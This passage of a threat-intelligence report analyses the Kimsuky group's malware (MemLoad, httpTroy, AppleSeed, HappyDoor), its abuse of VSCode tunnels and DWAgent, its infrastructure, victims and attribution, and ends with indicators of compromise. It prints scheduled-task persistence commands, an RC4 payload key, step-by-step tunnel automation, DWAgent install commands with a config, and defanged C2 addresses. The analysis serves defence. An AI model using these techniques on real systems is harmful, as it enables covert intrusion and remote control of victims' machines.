3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

Updated AppleSeed infection chain

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

Out.txt content

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

1. Executes code.exe tunnel.
2. Searches for the “Microsoft Account” string in the stdout.
3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
4. Searches for the “use code” string in the stdout.
5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
6. Searches for the “What would you like to call this machine?” string in the stdout.
7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Creating a tunnel using VSCode CLI

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

• c:\programdata\dwagent\native\dwagsvc.exe installService
• c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript